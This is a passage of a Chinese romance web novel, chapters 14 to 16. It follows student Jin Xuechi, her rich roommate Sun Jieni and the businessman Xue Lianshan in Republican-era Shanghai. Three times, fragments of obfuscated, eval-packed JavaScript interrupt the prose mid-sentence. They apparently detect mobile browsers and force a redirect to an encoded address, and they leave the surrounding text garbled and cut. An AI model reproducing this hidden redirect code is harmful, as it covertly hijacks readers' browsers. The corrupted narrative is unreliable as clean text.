她是转学生,这下子直接上大二。但孙婕霓既然是新来宿舍,应该是大一新生,就算是数学系,书也不一样。 金雪池只好先回去了,“你是哪个系的?刚才还没问。” “Oh,我是英文系的。” 孙婕霓也意识到话没说清楚,如今她已经回来了,自己只好亲自去一趟。虽是自己的问题,她仍然有点不高兴,沉着张脸把口香糖嚼得吱吱响。 金雪池已经开始看书,完全把她抛在了脑后。万事做不成,这已经是她能够做好的最后一件事。何况现在花薛莲山的钱上学,可不比以前花老豆的钱上学,容不得她三天打鱼两天晒网、学不出个名堂了! 周一一开课,她往教室里一坐,绝望地发现又只有自己一个女生。 大一那会儿老豆听说班上几乎全是男生后,警铃大作,说可能男生争着帮她打水、带早饭,让她一点好意也不要接受,会显得很掉价。结果根本没有一个男生主动跟她说话,他们倒会在投票、小组作业的时候抱团,有什么临时消息也不会特意跑到女寝楼下通知她;发卷子的时候,看到她考得低,还要聚众发出意味不明的笑声。 唉,世上的绅士真不多。她是只见过那一个。 然而北大的学风还算端正,那些男生大半是因为幼稚,无心的。这圣约翰简直就是顶级纨绔聚集地,金雪池更是绕着同班男生走。这样一来,她完全处于孤立无援的地步,书上的专有名词也听不懂,老师的全英文授课也听不懂。平生第一次,她跑到办公室里找老师问题目,尴尬得浑身汗毛直立。 孙婕霓不常在宿舍,两人碰面的时间少。但在入冬的某个晚上,她忽然说:“我听到一些gossip,关于你的。” 金雪池没有搭腔。孙婕霓又继续说:“他们说,你能转学进来,是托了一位校董的关系。你和那位校董是情人关系。” 她背对着孙婕霓坐在桌前,先是深深吸了一口气,后又叹出来,提笔继续写;头发刚洗过,没有扎,毯子一样覆在背上,整个人看起来毛茸茸的。 这么严重的指控,居然都不反驳,孙婕霓疑心道:难道是真的?但当情人可是个技术活啊,她这么呆,能讨好得了谁? “喂,怎么不理我?” 金雪池悠悠答道:“准备期中考,考不好情人就要断供了。” 孙婕霓爬到床脚坐着,想跟她继续聊这个话题,结果金雪池再不搭理她了。她就薅起金雪池的头发——真是好头发,又厚、又黑、又顺,摸得她心旷神怡、神魂颠倒,专心致志编起了发型,消停了一晚上。 她不用复习,她爸爸是驻美公使,英文几乎是她的母语。之所以要来圣约翰拿个毕业证书,是因为这所学校是全中国留学率最高的大学,对她申请美国的研究生很有帮助。顺顺利利考完,她就回来骚扰金雪池,“要一起出去玩吗?” “我明天还有一门。” “Oh,你也没拒绝。” 金雪池拿小刀削铅笔,“密斯孙沦落到没人陪着出去玩了?” “别人陪我出去太多次,我都不好意思再邀请。You know,她们觉得我成天就是玩。” 第二天金雪池考完了,确实看不进去书,决定进行一些有益健康的人际交往。她换衣服的时候,孙婕霓就在嘭嘭地拍香奈儿香粉;她穿鞋的时候,孙婕霓就在噗嗤噗嗤地喷娇兰蝴蝶夫人香水;她把辫子盘到脑后时,孙婕霓把一块真丝方巾叠进鳄鱼皮手包里,长指甲在硬皮上咔哒咔哒地敲。 这一场声音与气味的盛宴结束,孙婕霓一回头,眉毛再度挑起,眼珠上上下下地扫描她;配合口腔里咀嚼口香糖的动作,鄙夷的态度已经尽在不言中了。金雪池知道嫌她衣服差了。前一阵子天气还热着,她还能穿薛莲山给买的旗袍;现在冷了,她只能自己去添置新衣,当然拣便宜的买。 最终孙婕霓还是没说什么,扭头的时候疑似翻了个白眼,“走吧。” 圣约翰北临苏州河,南占兆丰公园,兆丰公园挨着的就是愚园路。金雪池真是从未出过校门,都没意识到他家离圣约翰这么近。不过孙婕霓显然对愚园路没兴趣,往更远的商业街区走。 “你有什么要买的吗?” “我买一沓新帕子吧,旧的太脏了。” “Okay,我和你一起。” 孙婕霓都抬腿要往百货公司走了,结果金雪池蹲了下来,在路边的一个小摊上挑了挑。那帕子就是最简单的纯色棉布,只能挑个大小。她付了三角钱,拿了一沓。 孙婕霓的口腔又开始蠕蠕地动。 “我现在很拮据。”金雪池解释说。 “你的情人不给生活费吗?” “给了。但是我也没必要多花——” “不是,真的有?”孙婕霓抓住她的肩膀,“真的有啊?我以为你开玩笑。” 金雪池在她手里宛若一条拉长、瘫软的猫,被摇来摇去,一只手端了端发髻,免得被摇散了,“其实和你想的那种关系不一样。我只是觉得,受了恩惠,还到处急着撇清干系,太装清高了。” “Out of my expectation。”她慢慢地说,“其实你看上去就是爱装清高的那一款。” “我以前真的是。Used to be。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17006594|192557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“为什么忽然说英文?” “学你呗。” “别学了。”孙婕霓不赞成道,“你发音真烂。” 金雪池小小的一只立在那里,摇头晃脑道:“No wayyyy。”尾音拉得很长,模仿她口音中的嚼劲。孙婕霓大叫一声,扑过去挠她;她微弱地挣扎片刻,屈服了,任由对方揪着自己的领子往前走。 两人逛了许多商铺,大多时候是孙婕霓问“这两个哪一个好”,金雪池把手揣在袖笼子里,说“都可以”,然后孙婕霓翻个白眼。 其实她并不是敷衍,她是真心觉得都可以,比较不出来。孙婕霓也并非真心征求意见,她只是需要一点互动感,至于说最后买什么,她自有定夺。 一通购物下来,她把自己哄高兴了。 “我送你点什么吧。”她说,“随便挑。要不要大衣?你这绒线衫太恶心了。” “不用。” “你还不如给我当情人。”孙婕霓感慨道,“我是不会坐视对方穿丑衣服的。” 回去的时候又经过了愚园路,金雪池瞥了那排灯火辉煌的别墅好几眼,中心如噎。他们已经许久没有联系了。薛莲山亲自跑到校园里找她,会给她造成舆论压力;公共电话又是只能她打过去,不能他打过来;至于说写信,两人走去邮局的距离都比走去见对方的距离远,没有必要。当然,非要写也可以。 可是他有他的事,不能全天围着个学生转吧。 两人回了宿舍。金雪池拎起暖瓶,说下去打热水,实则拎着个空瓶子一路走出校门。路上一个行人都不剩了,黑寂寂的,寒冷的空气像冷水一样浸泡整座城市。她如此勇敢,独自走了这么长一段夜路;她如此怯懦,在薛公馆的对街踟蹰许久,就是不敢过马路。 她走进电话亭,取下听筒。想听见他的声音,想听他说那些美妙的话,想听他那些似真似假关于爱的表达。 彻底不抵抗了吗?金小姐,要主动成为他召之即来的人吗? 金雪池静默几秒,把听筒往回一挂。 期中考试她考得很好,第一名,但全年级也就十二个人,这个第一名的含金量就大大下跌了。她逐渐适应了圣约翰的节奏,觉得自己在应付学习之外,还应该赚一点钱,不能老处于被动接钱的地位。她是打算帮人写作业或者写论文的,但班上的同学显然对她很有敌意。 她把这想法跟孙婕霓说了,孙婕霓当时正在涂指甲油,很不爱搭理她,“那你别找你们年级的。或者去别的学校问。” “我去找陌生人,一上来就问他要不要帮忙代写?” e on!你不问,难道指望他们上来问你能不能代写?” 周日上午全校都要去教堂礼拜,不同院系、年级会按照固定座位坐,最利于她找目标。神父在上面讲的时候,金雪池已经锁定了那一排大一的学生。一散会,她就跟了上去,跟着出了礼堂的门口都没下定决心开口。 最后,她心一横,拍了拍两个并肩走着的学妹。她们同时回了头,满脸疑问。 “请问,”金雪池僵僵地说,“呃,你们需要帮忙写作业吗?” 那两人对视一眼,用眼神进行了一番淋漓尽致的交流,最后一边摆手、一边大笑着走了。既没有骂她,又没有给她苦受,金雪池面无表情地往宿舍走,实则五内如焚。她再没有推进这项计划。 14.大展宏图 十一月初的某天,校工找到她,告诉她:有位先生在接待室里等你。 金雪池睁大眼睛望着他,忽然笑了,说了声“谢谢”。接待室的门半掩着,她远远地看到,立刻放慢脚步、理了理头发,心绪好像水炉上岌岌可危的盖子,随时会被沸水顶翻。 她伸手按住盖子,也按住门把手,不紧不慢地推门而入。 薛莲山正随手翻看桌上的台历,听见声响,抬头望向她,一眼就望出了她的窘相,“啊,是我的错。” “什么?” “衣服。”他走过来,忽然伸手摸了摸她后领,相当于是用手臂把她圈起来了。“我忘记这一层了。” 那盖子就有点按不住了。金雪池知道自己应该立刻推开他,然而一嗅闻到那股温暖的香气,手脚像是被麻醉了似的,“本来也没有什么。你给过我生活费。” “我指望你会打电话找我要更多的。我期盼你的来电。结果这几个月一忙就给——” 她挣开了他,“我不会。” “好,好。”他立刻说,“出去走走吧。” 这回他没有开车来,两人并肩往车站走。一辆轰隆隆的大卡车超越他们、扬长而去,徒留满街黑烟。薛莲山几乎是立刻偏头往后退了几步,还是呛得咳起来。 金雪池以为他咳几声就完事了,结果他蹲了下去,那声音越来越不对,简直像要吐。 周围人都在往这边看,换作是她,绝对不想在众目睽睽之下吐在路中间。犹豫片刻,她轻轻在他肩上推了一下,指示方向,“薛先生,那边有个排水沟。” 薛莲山朝她摆了两下手,几乎有点不耐烦。他是真想不明白。换作是他,就算是不太熟的人这样咳嗽,他也会问一问、拍拍背之类的。装模作样也要装一下。这个金雪池就傻站着,让他不要吐在路中间。她有病吧? 已经过去了几个月,就是身经百战的女人也该跟他好上了。而这个女学生还摸不让摸、抱不让抱的,他对她花了这么多心思,还不够收买她? 不过薛莲山不是知难而退的人,他不同意让女人爱上自己是件难事。 等缓过来劲儿,他按着胸口站起来,眼睛有点发红。金雪池忽然又觉得看他不礼貌,目光要退缩,只好嘴上积极,“你有支气管疾病吗?” 薛莲山凉凉道:“没有。” “哦。” “我肺部纤维化。” “啊?” “不传染。”说完这句话,他就抬腿走了。金雪池讪讪地跟上,总感觉是一只笑眯眯的大动物忽然呲了一下牙,又若无其事地收起来。 两人上了电车,这会儿正是下班的点,没有空位置,只好拉着吊环站。金雪池因为个子矮,伸直了胳膊,然而不停地调整姿势。 从他的角度往下看,正好看到她尖尖、小小的下巴,脸型是含蓄内收的,皮肉是紧的,大概摸上去像瓷,不像水做的女人。他立刻消气了,朝她笑道:“怎么不好好站?” 金雪池觉得把胳膊完全抬起来不雅,何况腋下还有一丛稀疏的毛发。她想一手抓吊环、一手掩着,可这不是此地无银三百两么?这种事情,偏不好和他说。 “衣服有点紧,把胳膊束住了。” 他把她的一只手拿下来、搁在自己臂上。金雪池表现得简直像手被烫到了,在空中摇了几下,才揪住他袖子的下方。 他道:“这衣服光是好看,并不结实,你这样会揪坏的。” 金雪池重新吊在了环上。“我们去哪里?” “买衣服。” “不用了,我真的不要。买身上这件用的也是你的,我都……”她想说“预备要还”,又想起自己目前没有任何还钱的本事。 “金小姐,我在接待室里那样说,你生气了?” “没有。你生气了吗?” 他笑眯眯道:“你指什么事?” 金雪池有一会儿没理他,又说:“其实你连雪茄也不该抽。” 薛莲山微微一愣,仔细回忆,自己从未在她面前抽过雪茄。这东西不易携带、不易保存,他只在办公室和卧室里抽,“你怎么知道?” “我看你的皮夹里有一把小剪子。” 他觉得很有道理,乐了一下:金雪池的总给他一种小孩子的感觉。逮着好玩的东西动脑子,对于人情却有点呆,他对她冷时,她没反应;他对她热时,她直觉不太合适,就躲一下。像个小孩子坐在高高的墙垛上,体验他、观察他、分析他,但不肯下来,仿佛人间是火海。 “金小姐,你有小名吗?” “我父亲叫我妹妹。” 薛莲山想起来了,金文彬是这么叫她的,“妹妹。” “妹妹”用粤语喊时非常自然,但薛莲山一直说国语,他喊“妹妹”,就有一种郑重其事的感觉,好似他们俩在演话剧,他演贾宝玉,她演林黛玉,应回一句“宝哥哥”才对。金雪池没忍住,噗嗤一声笑了出来。 薛莲山在心里多记了她一笔:笑点很奇怪,且不足与他人道,问就是没什么。 下了车,他要带她去买衣服,她打死不肯,只好作罢。反正他知道她的尺码,自己去挑款式也是一样。只是薛莲山带女人出来,向来是要给她们花钱。她不花钱,他还真不知道干什么。 “不然,我到你工作的地方去看看吧。”金雪池提议道,“放了寒假,我给你打工,不要工资。你肯用我就行,我会尽力做好的。” 他觉得行,又带她慢慢悠悠地转车,回了公司。苏兴矿务实业公司承包下了一整座写字楼,门口两只石狮子,大厅宽敞、明亮,铺了岩灰色流水纹地砖,一走进去就觉得凉。完全在金雪池的意料之中。这种建筑风格就和他这人一样,一眼看得出有钱,却不财气外泄。 薛莲山领着她走到楼梯旁的一个铁笼子里,按了一个印着“5”的电钮。想来这就是电梯。一层一层的景象在网后下降,二楼有人抱着一摞文件匆匆走过,三楼的几个职员站在窗边吸烟,四楼正对他们的是一盆富贵竹,像电影中的镜头。到了五楼,他把铁网往右一拨,请她先走。 “我的办公室就在这尽头。”他说,“如果秘书在的话,让她给你端一盘蛋糕上来。厨房做的小蛋糕挺好吃……你怎么在这里?” 两人瞪着办公室里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17012755|192557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个穿长衫的高个子男人看。那男人一见他来,立刻摘下帽子,“莲山,你近来还好么?我等你许久了。” 薛莲山一巴掌拍在电铃上,保持微笑,但可以看出有点恼火了。那男人见他不理睬自己,又转向金雪池,彬彬有礼地一点头,“你好,我叫兆荣,是莲山的大哥。” 金雪池也点点头,“你好。你有事找他么?那我先出去——” 薛莲山一把把她拽回来,按在办公桌后的椅子上坐下。秘书龚小姐也赶来了,“董事长,你叫我?” “怎么把他放进来了?” 龚小姐看一眼薛兆荣,有些茫然,“他说他是你大哥,我看着……也像。” “他确实是我大哥,但下回直接赶出去就好。借钱来的。” 薛兆荣反驳道:“借钱?公司不是爸爸的么?本就有我的一份,只是我平日不和你这个做弟弟的争。现在我手头上困难,好不容易向你开一次口,你居然不答应么?” “免谈,你让嫂夫人来跟我说。” “她病了,不能长途旅行。我就是为她——” “我看不见得。”他看龚小姐拉不动他,自己上手把他往外推。但薛兆荣看上去比他壮一些,忽然往地上一赖,不肯动了,还顺手抱住龚小姐只穿了一层丝袜的腿。 龚小姐尖叫起来。薛莲山没办法,抄起台灯砸在了他头上。那台灯不重,薛兆荣估计只是被碎玻璃划破了皮,肯定没被打出个好歹,然而大声嚷嚷起来:“来人啊,都看看啊,看看你们老板!我是他大哥,他居然对我动手———看看他,连手足之情都不顾,我都出血了———” 安保人员总算听到动静,从楼梯上涌上来,拖走了他。薛莲山把龚小姐扶起来,命令说:“拖远点,别让他在大门口打滚!” 龚小姐匆匆忙忙地整理衣冠,“真抱歉,董事长,我下回就知道了。我一开始确实没打算让他进来,但是他当时就说这些话……” “没关系,没关系。哪里擦破了吗?” “没有。” “好,你下去休息一下,随便叫谁拿一个三角蛋糕上来。” 关上门,吵闹被瞬间隔断。薛莲山无可奈何地走过来说:“不好意思。” 金雪池摇摇头,没对刚才那一幕发表什么看法。她正在翻他桌上的稿纸看。正中间写了个“詹仕纶 3:40 p.m.”,反复打了几个圈;左上角列了一串数字;右下角画了一只很潦草的小猪,出现得莫名其妙,大概是发呆时随手画的。原来他也有发呆的时候,她还以为他这样的人不走神。 “你这办公室空了,”她说,“绿植可以改善风水。” “绿植引蚊虫。” “那么,墙上可以挂点字画之类的。” “也许吧,”他笑道,“金小姐赐我一副墨宝?” 金雪池翻开一页崭新的稿纸,拔开钢笔盖子,挥墨而就:大展宏图。写完后觉得不好意思,字又不好看,遂再翻开一页新的。然而因为她下笔极重,新的一页上仍有“大展宏图”的凹痕。 他把手指搭在上面,抚了抚,笑道:“好重的心意。” 15.前程似锦 衣服可以不买,饭不能不吃。眼看着快到饭点了,金雪池主动提议说:“薛先生,如果你不嫌弃的话,我也请你一次吧。虽然我也是……呃,我不愿意总是你请客。虽然我的零花钱也是你给的,但是形式上,我想……” 他爽快道:“没问题。” 两人下楼出门,薛兆荣还坐在不远的路边,当即横着往前方一躺。薛莲山面不改色地跨过他,金雪池犹豫了一下,绕着走。 “他好像还在流血。” “要死了他会自己爬起来看大夫的。”薛莲山说,“你不知道这个人,狂嫖滥赌,没钱了就跑过来闹。我并不是坐视自己的兄弟一家过不下去,如果他太太来借,我还是会给。” 金雪池“哦”了一声。她带他进了一家面馆,坐下之前,先用手抹了一下桌子,上面一层油。 “这是店家生意兴隆的表现,桌子也有油水。”薛莲山也用手指抹了一下桌子,随即抬脸朝着她笑,“整条街上,我也觉得就这家最好。” 金雪池其实是随便选的,她自己都觉得寒酸。 他只要了一碗阳春面,吃得津津有味,碗都见了底。金雪池点了一碗黄鱼煨面,没吃下去多少,她的食量很小,早早撂了筷子看他。倘若不是外面冷、里面人多,她还不敢这样看他;可现在就是有这么个好时机,雾气从两人的碗里缓缓上升,帘幕一样,挡住他们,挡住两颗心。 要是你也没钱就好了,她想,你就会知道,我和所有人都不一样,我根本不是冲着你的钱来的。别人付出多少金钱都不能打动我,付出善意和耐心也不行,付出爱也不行,几个月、一年、十年、一百年,我不会被打动。我只会被吸引。你以为是因为你付出了很多,我们才刚刚能走到这一步吗?在你什么都没做的时候,我就开始爱你了。 金雪池穷极一生,就为研究些有趣的问题、认识些有趣的人。她对自己的人生、发展、职业、家庭其实毫无规划,如果只管当下的话,很愿意向他坠去。可她又不是明天就死。 老豆说:唔好赌啊。 面汤的热气几乎蒸出了她的一点眼泪。 结账后,他又一路把她送回学校。电车上没多少人了,他们把窗户开得大大的,看尚未完全黑下去的天空泛蓝调。金雪池向来喜欢开着窗子,无论外面刮风还是下雨。他也喜欢,并且懂得她的喜欢,让她坐窗边。 窗内是俨然的人造秩序,窗外是自由。 他转头问:“冷吗?” 金雪池摇摇头,脸边的碎发在狂风里乱舞。他盯着她,正要赞扬她的美,她的辫子忽然如蛇般抛了起来,在他脸上狠狠抽了一下;木簪顺着风势、径直从另一侧的窗缝飞出去了。 她是知道自己这根大辫子的威力的,见他捂脸,条件反射地伸出手,“哎哟,薛先生——” 薛莲山一把抓住她的手按在自己脸上。他的脸颊是略微凹陷的,镜片后,那双眼睛笑得流光溢彩。花花公子。漫天飞花里,她心意缭乱,爱呀恨呀无奈呀忧心呀,一团乱麻,她只是头晕。 你真不是个好东西,可我真是爱你。 “薛先生怎么样?”他凑得很近,一定要盯着她说,“莫名其妙挨了你一鞭子,好不讲道理。” 金雪池已经晕头转向了,也没抽手,“你摸我,扯平了。” “是你在摸我。” “……你倒是松开啊。” 他松开她的手,一指自己的脸,“是不是肿了?” “没有。”金雪池说,“你脸皮厚着呢。” 薛莲山惊讶地眨了下眼,“妹妹。” 金雪池默默地把脸转向窗户。他在后面摸着她的辫子,忽然又说:“还有脸皮更厚的话,你要不要听?我其实一点痛觉都没有,当时脑子里只剩一个念头:你的头发真香。” 她叹了一口气,“香不过你。” 薛莲山是真有点乐不可支了,觉得她太好玩了,好像有点不知从哪儿起的愤懑,“我头上都是发胶的味道,哪里香?” “身上香。而且比起第一次见面时,你好像换了种香水。” “好记性,好鼻子。那回我用的是Floris Elite,目前用的是Pour Un Homme。我要翻旧账了,第一次见面时,你干嘛要在你爸爸面前说我是从香港来的?弄得金先生对我有点误会,认为我是提前和香港那边取得了联系。” “你不是?” “我对你们是很有诚意的。” “哦,那我知道你去干什么的了。”金雪池继续火力全开,“你当时的女朋友在香港,你刚从她那里出来。” 薛莲山完全接得住招,“你吃醋了?” 金雪池快不行了,“……没有。你这种人,对谁都是一样,有什么可吃醋的。” “我对你不一样。而且在我眼里,你和所有人都不一样。我愿意和别人一同出门,但只愿意和你一起躲起来。”他敲了一下窗框,“比如在这车上。你知道这二者的区别在哪里吗?我很喜欢‘被人看见’,不管是参加会议、晚宴、普通聚餐还是什么,我喜欢身边环绕一大堆朋友;但如果是和你在一起,我宁可谁也别来打扰。” 幸亏这时候车到站了,不然金雪池真不知道怎么作答。把她送到后门口,他又微笑着说:“我都是真心。” 金雪池提醒说:“现在肿了。”言罢,用手腕绞着自己的辫子走开了。 我才是真心。 两周后,一箱新衣服寄到了学校,还夹有一张草稿纸,也是从他那本子上撕下来的,上面写了四个钢笔字:前程似锦。 她都不敢对折,怕时间一长,折痕处会磨穿;只把空白部分裁掉,裁成很小一张,夹在硬皮笔记本里。衣服则按原址全寄回去。过一天又寄过来了,又附了他一张纸条:买都买了,你不穿,我能穿吗? 金雪池只好收下,如此一来,重获和孙婕霓一起出行的资格。 孙婕霓最近预备给一个男生表白。这个男生和她同一个高中,是篮球队的,她从高中开始暗恋对方,可是同对方没有交集。毕业后失去联系,惆怅了好一阵。最近有个复旦的朋友告诉她那人在复旦,并且又进了篮球队,很受女生喜欢。 她觉得这下非表白不可了,现在大学生之间很流行自由恋爱,万一别的女生捷足先登、和他确定男女朋友的关系怎么办呢?说干就干,写了一封情书,并要金雪池陪她送去。金雪池趴在床上翻字典,懒洋洋说不去,结果一拽就动,只是一路上唉声叹气的。 被拽进复旦,孙婕霓随意拦下一个路人便问:“知道许邦尧在哪里吗?” “不知道。” 她略不耐烦地拦下一个人问,总算是问到了许邦尧正在打篮球赛。两人坐进观众席,她一扬下巴,“那个就是,26号。” 26号是个魁梧的男生,晒得很黑,头发剃得短短的,因为眼睛小而聚光,看上去很有精神;但因为肌肉过于发达,眉头压得很低,有点吓人。他这一队进了个球。队友们又跳又叫,他只是抹了一把额头上的汗,大步走去喝水,沉稳而有大将之风。 “我之前就听芝兰说过,他是主力。”孙婕霓漫不经心地说,“So,what’s he like?” 金雪池道:“你喜欢就喜欢,不用参考我的意见。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17015783|192557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“慢着,我不能亲手给,我要保持神秘感,让他遐想一段时间。你去帮我给他。” “我得回去了。我这莫名其妙出来一趟,就看一个黑壮汉——” 孙婕霓被“黑壮汉”这个词气得笑了出来,但是再一想,确实黑,确实壮,确实是个汉子,也不好跟她异议。把信往他手里一塞,就去找自己朋友了。 金雪池仰头举着信摇了摇,“你别给我啊。”但是因为坐久了,腿麻了,没站起来追上去。就这么几秒钟,孙婕霓已经跑不见了。 她只好坐在那里等球赛结束,百无聊赖。忽然有个人做到了她旁边,小声说:“嘿。” 她一扭头,是个脑袋很大的青年,五官也相应得很大。但因为生性内敛,总试图把表情动作做小,就在脸上形成了一种很微妙的神态,又要微笑、又要锁住那笑,一种颤巍巍的平衡。 此人是李仲焘的哥哥,李伯惠,他们在李家有过几面之缘。金雪池不知道他在复旦,也点了点头,“你好。” “你怎么在这里?” “我陪朋友来的。” “我在这里上学。” “噢。” 李伯惠又指着远处的一栋校舍说:“我是医学系的,我的宿舍在那边。” “噢,好。”金雪池观察出了他对自己的好感,遂把信递给他,“可以帮忙转交给许邦尧吗?是我朋友写的情书。谢谢你。” 李伯惠立刻接过去,手指都在发抖。他的手也很大,抖出了一种蒲扇的效果。见她要走,立刻说:“我送你出去。” 其实金雪池来一次就记住路了,不过还是让他送。两人一路上都无话可说,临别时,李伯惠道:“你可以……常来玩玩。” “好的,有机会就来。” 孙婕霓得知她圆满完成任务,非常满意。她现在给金雪池取了个新名字:金雪莉。因为她的中文名就是根据英文名Jennifer取的,根据金雪池的中文名,她给她取了个英文名Shirley,又反过来要改她的中文名。孙婕霓爱谁,就把谁当可以任意摆弄的洋娃娃,再取一个洋名字。 “Well done,金雪莉。” 那封情书里留了通信地址。不到一周,她就收到了回信。金雪池下课回寝的时候,她正趴在床上大哭,结合旁边拆开的信封来分析,肯定是被拒绝了。 金雪池坐下翻了两面书,孙婕霓忽然暴起,大叫道:“你不问我?你不问我?”一边拿枕头砸她。她挨了一下枕头,心里不太高兴,还是乖乖问道:“他没答应?” “他有未婚妻,上高中的时候就订婚了!” “哦,上海也这么搞?”金雪池说,“我还以为你们都能自由恋爱了。” 透过泪幕,孙婕霓盯着她,脸上浮现出一种奇异的神色。她本来是预备了许多话要说的,在胸腔里熊熊地烧,一盆凉水下来,全灭了,灭得仓促、愕然,空气中还有烟在飘。 半晌,金雪池才道:“我知道你伤心,不过事实即如此,也没什么可以回转的。你哭一会儿就好了。” 孙婕霓扭过头去,再没有开口。她在她的小团体中是地位最高的那个,从来是别人来哄她,没有她哄别人的。然而这回她跟金雪池冷战了三天,金雪池该干嘛干嘛,一点要来哄她的意思都没有。人家甚至没有跟她生气,出去买饭时,见她一动不动,还问:“要我给你带饭吗?” 她没理人,金雪池就走了。 由此,孙婕霓猛然意识到此人看似脾气好,搓圆揉扁都不生气,归根结底是她不关心。而自己作为人际关系中恒久的上位者,居然离奇地着了她的道,还脱不出来了。 16.平安夜 金雪池并没有主观地要冷淡她,只是确实不感兴趣。首先对她的暗恋对象不感兴趣,其次认为事情的性质并不严重,如果孙婕霓和自己一样,家破人亡,那她真的会绞尽脑汁安慰一番的。对这件事有什么好说?“没关系你可以等他们退婚”,还是“不然你去撬墙角吧”? 孙婕霓真要这么干,她也不是不支持,反正她自己都当情妇了。但这和被许邦尧拒绝是两码事,等到那个地步,她再支持嘛。 期末考试临近,她最近常去图书馆找复习资料,偶然找到了一本讲西方炼金术的书,大为惊奇,作业没写就通宵看。看完才知道不是神秘学,其实是化学的前身。又知道之所以自己有个模模糊糊的“神秘学”的印象,是因为有一批炼金术士抛弃了蒸馏器、熔炼炉,整日思考炼金术哲学,逐渐失去了实证研究的立命之本,使其沦为江湖骗术;而化学被独立出来,成为一门新兴的自然科学。 哎,她想,搞数学就不会这样。数学和自然科学不一样,自然科学依赖于物质世界反馈,但对于数学来说,只要公理正确、推理无误,结论就必然为真,绝不会被新的物理发现动摇。 这是最精确、最绝对的东西,数学不会因为思维走火入魔,因为数学本身就是思维。 金雪池正陶醉着,迎面来了孙婕霓和她的朋友们,她们还喜欢并排走,把路堵得严严实实。 孙婕霓正嚼着口香糖,冷冷地看她一眼,又给左右朋友递了个眼神,径直往前走。余人跟着她一起走了,最靠边的一个女生用肩膀撞了金雪池一下。金雪池回头看她,她也正在回头,翻了个白眼。 怎么还在生气?金雪池简直莫名其妙,但还是决定主动哄一哄。毕竟孙婕霓对自己还算不错。她把自己很喜欢的栗子蛋糕买了一块,请她吃——一个很贵呢。 孙婕霓接过蛋糕,问:“你喜欢吃这个?” “是啊。” “那么——you really have no taste。”孙婕霓说着,手腕一翻,蛋糕滑落在地,砸成瘪瘪的一滩。金雪池心里已经勃然小怒了,但因为讲究体面,也不便跟她吵架或者作对,一屁股坐回了桌前。 她忽然想到,薛莲山是多体面的人。真好,我要像他一样。 十二月一来,她彻底陷入疯狂,有三门选修都需要写结课论文。作为教会大学,圣约翰的圣诞节肯定是要大过特过,全校都沉浸在盛会的氛围中。比起在寝室学习,金雪池也确实更喜欢去图书馆,偶尔望向悬满冬青和槲寄生的天花板,有一种世界很绚烂的错觉。东西方的人很友爱,地球是个村。 某日,身边忽然又传来轻轻一声“嗨”。 金雪池抬起头,“你怎么在这里?” 李伯惠说:“你们学校办活动,我同学,呃,来的时候也叫上我了。” “办活动吗?我都不知道。” “好像是办舞会。”他环顾了一圈,“你们学校真有钱呐。” “我也觉得。从图书馆出去,往左拐就是礼堂,应该在那里跳舞吧。” “不。”他连忙说,“我不跳。我不是来跳舞的,我也不会跳。 金雪池见撵不走他,只能点点头,“请便吧。”随即继续胡编论文。但因为旁边始终有人,没法完全集中注意力。十几分钟后,他消失在她的余光中了,她松了口气。 写到中午,搁笔伸了个懒腰。金雪池这才发现李伯惠没有走,他在隔她两个座位远处坐着,正安静地看一本书,显然是在等她。直接溜走不太合适,她只能开口问:“去吃饭吗?” 问第二遍时他才听清,立刻站起来,“哦,哦,好。” 两人一起走出图书馆,金雪池被冷风吹了个激灵,闷头直往前走。空气中确实飘着隐隐的乐声,她又想起老豆了,欢庆的氛围越浓,她越落寞。这个时候听到有人喊“妹妹”,她也怔怔地不停步,以为是太思念老豆、出现了幻听。李伯惠在身后喊住她:“等一等,金同学......” “妹妹。” 她猛地转过身,直觉是圣诞老人给自己送礼物来了。 薛莲山今天穿的是一件黑色粗呢大衣,里面套绒线衫和针织衫,然而因为太瘦了,并不显得臃肿,还是骨头架子挂衣服;头上也戴了一顶帽子,脸色在这黑压压的一片里更显苍白。被冷风吹了一路,嘴唇、脸皮都干燥粗砺,比那些光滑或容易泛油光的脸更显真切;隔着不远不近的距离,他清晰、鲜明,人群是人群,他不在里面。 “薛先生!”她压制着的声音,不让自己显得太快乐,“你来了?这位是我的同学李伯惠。” 李伯惠扫了薛莲山一眼,“我先去吃饭了。” “去哪里吃?食堂么?”薛莲山微笑道,“我是要请金小姐出去吃的,你是她的同学,一起来吧。” 李伯惠看上去满脸抗拒,然而被在背后轻轻一拍,只好跟着走。这会儿撂下李伯惠很不道德,感谢薛莲山做好人;至于前者感受如何,她就不在乎了,反正她没有见色忘义。 今天他开的是那辆复古红的凯迪拉克,看到车,李伯惠更局促,不知道自己该扒底盘还是蹲车顶,被示意了一下才坐上副驾。薛莲山又提醒他:“安全带。” 